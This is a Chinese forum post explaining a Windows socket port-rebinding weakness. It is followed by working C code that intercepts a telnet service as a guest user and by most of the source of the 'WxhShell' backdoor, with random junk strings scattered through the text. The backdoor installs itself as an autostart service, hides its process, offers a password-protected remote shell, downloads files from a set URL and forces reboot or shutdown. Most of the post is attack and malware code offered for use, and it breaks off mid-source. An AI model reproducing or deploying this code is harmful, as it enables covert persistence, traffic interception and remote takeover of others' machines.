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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4bLk+EY4A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qq" &Bc>  
eL3HX _2(  
  saddr.sin_family = AF_INET; }'mVD^<+  
-Zx hh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?K%&N99c!  
-\6nT'P  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !Z[dK{ f"  
eIBHAdU+g/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .|[ZEXq  
EN />f=%  
  这意味着什么?意味着可以进行如下的攻击: @ c,KK~{  
Bf33%I~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '2mR;APz  
WBD e`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lPF(&pP  
S`HshYlE q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X_GR{z%  
"9 ,z"k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /cHd&i,>  
~nJcHJ1nb4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SQ!wq  
,RIGV[u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q;{[U!\:  
 $0>>Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GWo^hIfJ  
iJ.P&T9  
  #include eAKK uML  
  #include R|aA6} /I  
  #include y57]q#k  
  #include    CBw/a0Uck  
  DWORD WINAPI ClientThread(LPVOID lpParam);   EV{kd.=f  
  int main() '{=dEEi  
  { 1-[~}  
  WORD wVersionRequested; gM_z`H 5[!  
  DWORD ret; mi9BC9W(  
  WSADATA wsaData; $ZX^JWq  
  BOOL val; *)0bifw$&  
  SOCKADDR_IN saddr; c@9jc^CJ  
  SOCKADDR_IN scaddr; &Fo)ea  
  int err; PhBdm'  
  SOCKET s; q>:>f+4  
  SOCKET sc; 7 j$ |fS  
  int caddsize; ;AyE(|U+  
  HANDLE mt; W/_=S+CvK  
  DWORD tid;   F[PIo7?K  
  wVersionRequested = MAKEWORD( 2, 2 ); [<SM*fQ>t  
  err = WSAStartup( wVersionRequested, &wsaData ); \`?#V xz  
  if ( err != 0 ) { .3WDtVE  
  printf("error!WSAStartup failed!\n"); EWuuNf  
  return -1; xxxM  
  } _/;k ;$gDp  
  saddr.sin_family = AF_INET; &'`q&U1x  
   Vj?{T(K1[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M`IiK+IoU  
E^uau=F  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '}\{4Qst  
  saddr.sin_port = htons(23); "q@OM f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lr SdFJ%  
  { BG:l Zj'I  
  printf("error!socket failed!\n"); 6&/H XqP  
  return -1; F02S(WWo;  
  } b]S4\BBT  
  val = TRUE; [pMJ9 d$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xbJ@z {  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `H+~LVH  
  { _22;hnG<iy  
  printf("error!setsockopt failed!\n"); me]O  
  return -1; Y"qKe,  
  } Uw R,U#d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ghvF%-."1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DVCO( fz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L B`=+FD  
}G^Bc4@b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bg.f';C  
  { XE8~R5  
  ret=GetLastError(); ?DPN a  
  printf("error!bind failed!\n"); 2 mM0\ja  
  return -1; :NB|r  
  } v%Rc wVt|  
  listen(s,2); vt{s"\f  
  while(1) ;0*T7l  
  { V9xZH5T8^  
  caddsize = sizeof(scaddr); *o]Q<S>lH  
  //接受连接请求 TAz #e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d>"t* >i]>  
  if(sc!=INVALID_SOCKET) &1O[N*$e  
  { Abr:UEG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4k'2FkDA  
  if(mt==NULL) hgCF!eud  
  { p x;X}Cd  
  printf("Thread Creat Failed!\n"); A:Y]<jt  
  break; nLK%5C  
  } jxA`RSY  
  } s8w7/*<d  
  CloseHandle(mt); -:9E+b  
  } @ yJ/!9?^  
  closesocket(s); ~doOt  
  WSACleanup(); # Sfz^  
  return 0; #fg RF  
  }   @kU{  
  DWORD WINAPI ClientThread(LPVOID lpParam) !>XG$-$`Z  
  { B ;Zsp  
  SOCKET ss = (SOCKET)lpParam; I#(D.\P  
  SOCKET sc; ^bpxhf x  
  unsigned char buf[4096]; S.o 9AUv9  
  SOCKADDR_IN saddr; v=Ep  
  long num; aYQ!`mS::M  
  DWORD val; v5"5UPi-  
  DWORD ret; g Z3VT{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /BC(O[P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   x Lht6%o*  
  saddr.sin_family = AF_INET; 'A91i  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .<JD'%?"  
  saddr.sin_port = htons(23); j^A0[:2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gE8=#%1<  
  { + >o/Ob  
  printf("error!socket failed!\n"); e-<fkU9^W  
  return -1; i9}n\r0=c  
  } b~\gV_Z  
  val = 100; zo66=vE!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zRyZrt,%&  
  { yC. ve;lG  
  ret = GetLastError(); 4xLU15C  
  return -1; 3\eb:-B:@  
  } $I(2}u?1+d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #W<D~C[I _  
  { ]>h2h?2te  
  ret = GetLastError(); 9TGjcZ1S'  
  return -1; Qxj &IX  
  } ,sPsL9]$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rtcY(5Q  
  { MtOA A  
  printf("error!socket connect failed!\n"); fd >t9.  
  closesocket(sc); = ! D<1<  
  closesocket(ss); /$zYSP)YT  
  return -1; b6!?K!imT  
  } <Q)6N!Tp^  
  while(1) hNXP-s  
  { e"en ma\_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :HhLc'1Jw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 oD_'8G}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eN]0]9JO  
  num = recv(ss,buf,4096,0); DmAMr=p  
  if(num>0) *,1^{mb  
  send(sc,buf,num,0); Y604peUF  
  else if(num==0) k!E`Xeob  
  break; d#7 z N  
  num = recv(sc,buf,4096,0); +:w9K!31-  
  if(num>0) i}Ea>bi{N  
  send(ss,buf,num,0); w2y{3O"p=  
  else if(num==0) KfJF9!U*?  
  break; _[h1SAJ  
  } Cec!{]DL&  
  closesocket(ss); Ni IX^&N1  
  closesocket(sc); N(mhgC<O  
  return 0 ; -[OGZP`8  
  } Gad! }dz  
+GMM&6<  
pLMki=.Ld  
========================================================== '/ 3..3k  
NwM=  
下边附上一个代码,,WXhSHELL OIB~ W  
u{=(] n  
========================================================== 'LIJpk3J  
Q%~b(4E^7P  
#include "stdafx.h" reLYtv  
m<00 5_Z0Q  
#include <stdio.h> >L#&L ?#  
#include <string.h> ~]?Q'ER  
#include <windows.h> &s_O6cqgh  
#include <winsock2.h> e $QX?y .  
#include <winsvc.h> $A6'YgK  
#include <urlmon.h> ;<0Q<0G  
bnLvJ]i)  
#pragma comment (lib, "Ws2_32.lib") 5T}$+R0&  
#pragma comment (lib, "urlmon.lib") hX\XNiCiK8  
dUeM+(s1  
#define MAX_USER   100 // 最大客户端连接数 UzFd@W u#  
#define BUF_SOCK   200 // sock buffer AR'q2/cw  
#define KEY_BUFF   255 // 输入 buffer e#IED!U  
esmQ\QQ^1  
#define REBOOT     0   // 重启 ?m#X";^V  
#define SHUTDOWN   1   // 关机 uy{mSx?td  
LKY4rY!|@d  
#define DEF_PORT   5000 // 监听端口 MdT'xYomzQ  
{6'5K U*RH  
#define REG_LEN     16   // 注册表键长度 =3lUr<Ze  
#define SVC_LEN     80   // NT服务名长度 7 }(LO^,A  
> taT;[Oa  
// 从dll定义API 4 W}8?&T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4%2QF F @  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t`03$&Cx7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rs2~spN;h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %stZ'IX  
a?E]-Zf  
// wxhshell配置信息 VztalwI  
struct WSCFG { 6N\~0d>5m  
  int ws_port;         // 监听端口 1eI >Yy>}  
  char ws_passstr[REG_LEN]; // 口令 *\m 53mb  
  int ws_autoins;       // 安装标记, 1=yes 0=no AS`0.RC-  
  char ws_regname[REG_LEN]; // 注册表键名 By6C+)up  
  char ws_svcname[REG_LEN]; // 服务名 NZYtA7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <I'kJ{"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RvV4SlZz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9 a2Ga   
int ws_downexe;       // 下载执行标记, 1=yes 0=no N8 }R<3/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5gZ0a4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K,%H*1YKK  
b")&"o)G2W  
}; vp &jSfQ^  
5+:b #B  
// default Wxhshell configuration wlBdA  
struct WSCFG wscfg={DEF_PORT, t`+x5*g W  
    "xuhuanlingzhe", j(6:   
    1, P (jlWr$$  
    "Wxhshell", wA) NB  
    "Wxhshell", Ps Qq ^/  
            "WxhShell Service", BIDmZU9tL  
    "Wrsky Windows CmdShell Service",  ^"K  
    "Please Input Your Password: ", yAR''>  
  1, "Q'#V!  
  "http://www.wrsky.com/wxhshell.exe", jfZ(5Qu3.H  
  "Wxhshell.exe" ,XCC#F(d1  
    }; =PAvPj&}e  
8dq{.B?  
// 消息定义模块 01 6l$K4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /L'm@8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bP&o] ?dN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %l[Cm4  
char *msg_ws_ext="\n\rExit."; vlIet$ k  
char *msg_ws_end="\n\rQuit."; rX%#Q\0h  
char *msg_ws_boot="\n\rReboot..."; -% PUY(  
char *msg_ws_poff="\n\rShutdown..."; P1 =bbMk  
char *msg_ws_down="\n\rSave to "; 6tI7vLmG  
~-lIOQ.v  
char *msg_ws_err="\n\rErr!"; IB /.i(  
char *msg_ws_ok="\n\rOK!"; QkZT%!7  
o1MI&}r  
char ExeFile[MAX_PATH]; b* qkox;j  
int nUser = 0; %~J90a  
HANDLE handles[MAX_USER]; PHi'&)|  
int OsIsNt; UtG@0(6C  
B o.x  
SERVICE_STATUS       serviceStatus; xT{qeHeZ9,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -r]s #$  
-'3vQXj&  
// 函数声明 6Z ~>d;&9  
int Install(void); YTQ|Hg6jO  
int Uninstall(void); D; H</5#Q  
int DownloadFile(char *sURL, SOCKET wsh); vTQQ d@  
int Boot(int flag); *ZyIbT  
void HideProc(void); mJ<rzX  
int GetOsVer(void); :aLShxKA  
int Wxhshell(SOCKET wsl); gWqmK/.U.0  
void TalkWithClient(void *cs); [wRk )kl`  
int CmdShell(SOCKET sock); oh%T4 $  
int StartFromService(void); 2V/ A%  
int StartWxhshell(LPSTR lpCmdLine); ;gy_Qf2U  
>k*QkIyq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u!oHP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M:6H%6eT  
"w= p@/C  
// 数据结构和表定义 DUEA"m h  
SERVICE_TABLE_ENTRY DispatchTable[] = j\q1b:pE  
{ _a8^AG  
{wscfg.ws_svcname, NTServiceMain}, EK_NN<So#  
{NULL, NULL} TgJx%  
}; 1%^U=[#2`  
o DPs xw  
// 自我安装 KCq qwGM  
int Install(void) Lg|j0-"N  
{ 7 ;|jq39  
  char svExeFile[MAX_PATH]; N'Ywn}!js  
  HKEY key; 1Ls@|   
  strcpy(svExeFile,ExeFile); ly%$>BRU  
jIv+=b#oT  
// 如果是win9x系统,修改注册表设为自启动 <tuh%k  
if(!OsIsNt) { M3K+;-n^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R}llj$?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #l2wF>0  
  RegCloseKey(key); 2$yKa5SaX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hlp!6\gukp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Otj=vGr0  
  RegCloseKey(key); %bZ3^ ub}t  
  return 0; ;H_yNrwA  
    } # Fw<R'c  
  } t< $9!"  
} Xp1xhb*^  
else { Zg5@l3w  
)M#~/~^f+  
// 如果是NT以上系统,安装为系统服务 <d# 9d.<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (3 8.s:-  
if (schSCManager!=0) 60[f- 0X  
{ 8xDS eXh;  
  SC_HANDLE schService = CreateService +Nv&Qu%  
  ( &.an-  
  schSCManager, )AXTi4MNp  
  wscfg.ws_svcname, Cq !VMl>hP  
  wscfg.ws_svcdisp, 8II-'%S6q  
  SERVICE_ALL_ACCESS, =+T{!+|6P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -9}]J\  
  SERVICE_AUTO_START, ~ bL(mq  
  SERVICE_ERROR_NORMAL, 8?W\kf$  
  svExeFile, (03m%\  
  NULL, "^;'.~@e8  
  NULL, bd_U%0)pi1  
  NULL, :(} {uG  
  NULL, }di)4=U9  
  NULL PQWo<Uet  
  ); u Y V=  
  if (schService!=0) j,/OzVm9  
  { 7`6n]4e  
  CloseServiceHandle(schService); J^hj R%H  
  CloseServiceHandle(schSCManager); S-gL]r3G8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vpv PRwJ  
  strcat(svExeFile,wscfg.ws_svcname); aN ). G1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L; Nz\sJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @za?<G>!'e  
  RegCloseKey(key); +I/7eIG?|  
  return 0; [Rs5hO  
    } j8M}*1  
  } $ Etf'.  
  CloseServiceHandle(schSCManager); RSG4A>%!mI  
} g (ZeGNV8  
} ^> .?k h9z  
t# &^ -;  
return 1; NAZxM9  
} f6PXcV  
64#~p)  
// 自我卸载 L,[0*h  
int Uninstall(void) vs{i2!^  
{ RxAWX?9Z  
  HKEY key; ^.mQ~F  
D4}WJMQ7s  
if(!OsIsNt) {  %3KWc-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p!AQ  
  RegDeleteValue(key,wscfg.ws_regname); 2!~ j(_TA  
  RegCloseKey(key); 2etcSU(y>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {}D8Y_=9\  
  RegDeleteValue(key,wscfg.ws_regname); Q6_!I42Y`  
  RegCloseKey(key); nrUrMnlg  
  return 0; 9^4^EY#  
  } Sl:Qq!  
} N1\u~%AT"  
} \x(J v Dt  
else { C;oP"K]4=  
)U>q><  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uWG'AmK_#E  
if (schSCManager!=0) isj<lnQ  
{ NlU:e}zGR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Iu 2RK  
  if (schService!=0) q_g'4VZv  
  { $T^O38$  
  if(DeleteService(schService)!=0) { 8|dl t$  
  CloseServiceHandle(schService); _Jj|g9b  
  CloseServiceHandle(schSCManager); :V HJD  
  return 0; uB 6`e!Q  
  } tJUMLn?  
  CloseServiceHandle(schService); U/&?rY^|  
  } $ZK4Ps -$  
  CloseServiceHandle(schSCManager); ! D'U:)  
} D(~6h,=m  
} |LcN_ ,}6  
cwz %LKh  
return 1; KB&t31aq  
} G( nT.\  
LdU, 32  
// 从指定url下载文件 wQ2'%T|t  
int DownloadFile(char *sURL, SOCKET wsh) BpDf4)|  
{ bRLmJt98P  
  HRESULT hr; er+m:XuV  
char seps[]= "/"; #| A @  
char *token; GJy><'J,!>  
char *file; +C/K@:p  
char myURL[MAX_PATH]; >J3N,f  
char myFILE[MAX_PATH]; w]"Y1J(i  
[LL"86D  
strcpy(myURL,sURL); s)375jCga  
  token=strtok(myURL,seps); 9C-F%te7  
  while(token!=NULL) "2'nLQ""q  
  { [uc;M6o}?  
    file=token; W2%(a0p  
  token=strtok(NULL,seps); 5;>M&qmN  
  } Z&s+*& TM  
;T"}dJel#  
GetCurrentDirectory(MAX_PATH,myFILE); 6IPhy.8  
strcat(myFILE, "\\"); za<Ja=f9X  
strcat(myFILE, file); pk}*0Y-  
  send(wsh,myFILE,strlen(myFILE),0); Z #w1,n88  
send(wsh,"...",3,0); Fu )V2[TY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h}q+Dw.i  
  if(hr==S_OK) 6b-d#H/1Y  
return 0; 9H1R0iWW  
else \r324Bw>2  
return 1; k1$|vzMh  
<Sm =,Sw  
} =(Mv@eA"  
~)tMR9=wX  
// 系统电源模块 iWCN2om  
int Boot(int flag) H3QAIsGS  
{ .Ky<9h.K  
  HANDLE hToken; fT[6Cw5w`  
  TOKEN_PRIVILEGES tkp; H^K(1  
'RQZU*8  
  if(OsIsNt) { viD+~j18  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); , *e^,|#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 67 7p9{:  
    tkp.PrivilegeCount = 1; 0w8Id . ,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,{%/$7)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wjq f u /  
if(flag==REBOOT) { 5>KAVtYvc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H<}<f:  
  return 0; 0>H<6Ja  
} ItYG9a  
else { miZ{V%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A. U<  
  return 0; @`wBe#+\  
} @r+ErFI  
  } P6i4Dr  
  else { GQ2&D}zh  
if(flag==REBOOT) { PLFM[t/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #8;^ys1f  
  return 0; tI*u"%#t  
} [53@'@26  
else { +]I;C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 45/f}kvy  
  return 0; O5Yk=-_m  
} hB P]^~(  
} ?F AsV&y  
qAR~js`5  
return 1; eU@yw1N  
} VG&|fekF  
%dw-}1X  
// win9x进程隐藏模块 q{yz]H,  
void HideProc(void) &r~~1BnpHm  
{ /y@$|DI1  
B(Y{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?tqTG2!(  
  if ( hKernel != NULL ) 9VV  
  { H$(%FWzQ%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "}7K>|a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kVkV~  
    FreeLibrary(hKernel); @ew Qx|  
  } Y8m|f  
v :6`(5  
return; $'L(}gNv5  
} $aE %W? \  
4%\L8:  
// 获取操作系统版本 D*vrQ9&# 8  
int GetOsVer(void) p'KU!I }  
{ <%>Q$b5  
  OSVERSIONINFO winfo; 9m!4U2N,s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `9a%}PVQ-  
  GetVersionEx(&winfo); ``w,CP ?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C~'}RM  
  return 1; T*k K-@.i  
  else Q!GB^ P  
  return 0; ORcl=Eo>  
} k/?+jb  
?h1]s&^| 2  
// 客户端句柄模块 n$5,B*  
int Wxhshell(SOCKET wsl) a3HT1!M)  
{ UgSSZ05Lq  
  SOCKET wsh; W qci51y>#  
  struct sockaddr_in client; )P:TVe9`  
  DWORD myID; u6t.$a!5  
#96E^%:zL  
  while(nUser<MAX_USER) ecA0z c~  
{ B wtD!de$  
  int nSize=sizeof(client); jBI VZ!X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w^G<]S {l  
  if(wsh==INVALID_SOCKET) return 1; }`f%"Z  
)w;XicT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q6H90Zb  
if(handles[nUser]==0) !rTh+F*  
  closesocket(wsh); aWOApXJ  
else JaG<.ki  
  nUser++; (cNT ud$  
  } Wf0ui1@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `@?l{  
+;:i,`Lmg  
  return 0; (d4zNYK  
} ^tc@bsUF  
{r[ *}Bv  
// 关闭 socket [K&O]s<Y  
void CloseIt(SOCKET wsh) [g&Q_+,j  
{ 8* >6+"w  
closesocket(wsh); {Swou>X4  
nUser--; T=;'"S  
ExitThread(0); N+HN~'8r  
} <^n9?[m*  
\&@Tq-o  
// 客户端请求句柄 #^!oP$>1  
void TalkWithClient(void *cs) RX?Nv4-  
{ Zp- Av8  
9e=F  
  SOCKET wsh=(SOCKET)cs; $qg5m,1?  
  char pwd[SVC_LEN]; d /Zt}{  
  char cmd[KEY_BUFF]; lNqXx{!k  
char chr[1]; 3_^w/-7`B  
int i,j; 5T8X2fS:  
Qs#v/r  
  while (nUser < MAX_USER) { 53BXz= k  
CM9+h;Zm  
if(wscfg.ws_passstr) { &>L\unS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,o*b-Cv/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7lR(6ka&/  
  //ZeroMemory(pwd,KEY_BUFF); P1Re7/  
      i=0; 47`{ e_YP0  
  while(i<SVC_LEN) { t!D=oBCro  
*7BY$q  
  // 设置超时 !G`w@E9M)  
  fd_set FdRead; 2ZIf@C{P.  
  struct timeval TimeOut; .Zf#L'Rf  
  FD_ZERO(&FdRead); 6S"bW)O  
  FD_SET(wsh,&FdRead); =*"Amd,  
  TimeOut.tv_sec=8; uW Q`  
  TimeOut.tv_usec=0; wqA5GK>m2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )ckx&e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5!tmG- 'b  
N4)& K[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YA{Kgc^  
  pwd=chr[0]; [OH>NpL  
  if(chr[0]==0xd || chr[0]==0xa) { T_v  
  pwd=0; ou,W|<%  
  break; nHyWb6  
  } G\jr^d\  
  i++; 5XFhjVmEL  
    } (Clf]\_II  
-}4H'%Z(i  
  // 如果是非法用户,关闭 socket Yk?ux Z4)H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +-qD!(&-6  
} '~3( s?B  
cX *  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "pMXTRb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); la|#SS95  
u+8_et5T  
while(1) { 3,N7Nfe  
>tib21*  
  ZeroMemory(cmd,KEY_BUFF); !l.Rv_o<O  
sE>'~ +1_O  
      // 自动支持客户端 telnet标准   d@8_?G}  
  j=0; WYEvW<Hv  
  while(j<KEY_BUFF) { Vk0O^o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^6J*yV%  
  cmd[j]=chr[0]; xv4nYm9  
  if(chr[0]==0xa || chr[0]==0xd) { z)QyQ  
  cmd[j]=0; )TRDM[u  
  break; E%H,Hk^  
  } g6 7*Bs  
  j++; FY#`]124*  
    } }@ 1LFZx  
^Ud`2 OW;2  
  // 下载文件 tet  
  if(strstr(cmd,"http://")) { "TN}=^A\F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2R<1  ^  
  if(DownloadFile(cmd,wsh)) F^`sIrZvs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P5] cEZ n  
  else *$^M E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nU`vj`K   
  }  "thfd"-  
  else { szmjp{g0  
Br-y`s~cP  
    switch(cmd[0]) { #cjB <APY  
  #BT= K  
  // 帮助 UT[KwM{y  
  case '?': { {oz04KGsH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v oC< /}E  
    break; |mMW"(~  
  } tkNuM0  
  // 安装 wx<5*8zP  
  case 'i': { LjxTRtB_  
    if(Install()) F\,3z7s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y`lC4*g  
    else MzJ5_}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "uZ'oN  
    break; 8&dmH&  
    }  0A pvuf1  
  // 卸载 w5qhKu!1  
  case 'r': { v[ F_r  
    if(Uninstall()) {(xNC#   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ai#W. n  
    else e^Jy-?E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f"k/j?e*  
    break; j}0*`[c  
    } <`6-J `.  
  // 显示 wxhshell 所在路径 joM98H@  
  case 'p': { K;[V`)d'  
    char svExeFile[MAX_PATH]; K")-P9I6-f  
    strcpy(svExeFile,"\n\r"); Jc{zi^)(EN  
      strcat(svExeFile,ExeFile); 8)R )h/E>  
        send(wsh,svExeFile,strlen(svExeFile),0); (">!vz  
    break; <C CEqY 4  
    } 0{AVH/S  
  // 重启 9dKrE_zK:  
  case 'b': { f$(w>B7..  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .>CqZN,^  
    if(Boot(REBOOT)) !u4oo-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fp@eb8Pl  
    else { $XT&8%|*7  
    closesocket(wsh); /V&$SRdL*  
    ExitThread(0); 3=;iC6 `  
    } W-Hw%bwN/q  
    break; ijyj}gpWha  
    } F\Tlpp9  
  // 关机 H+*o @0C\~  
  case 'd': { T*A_F [  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wW!*"z  
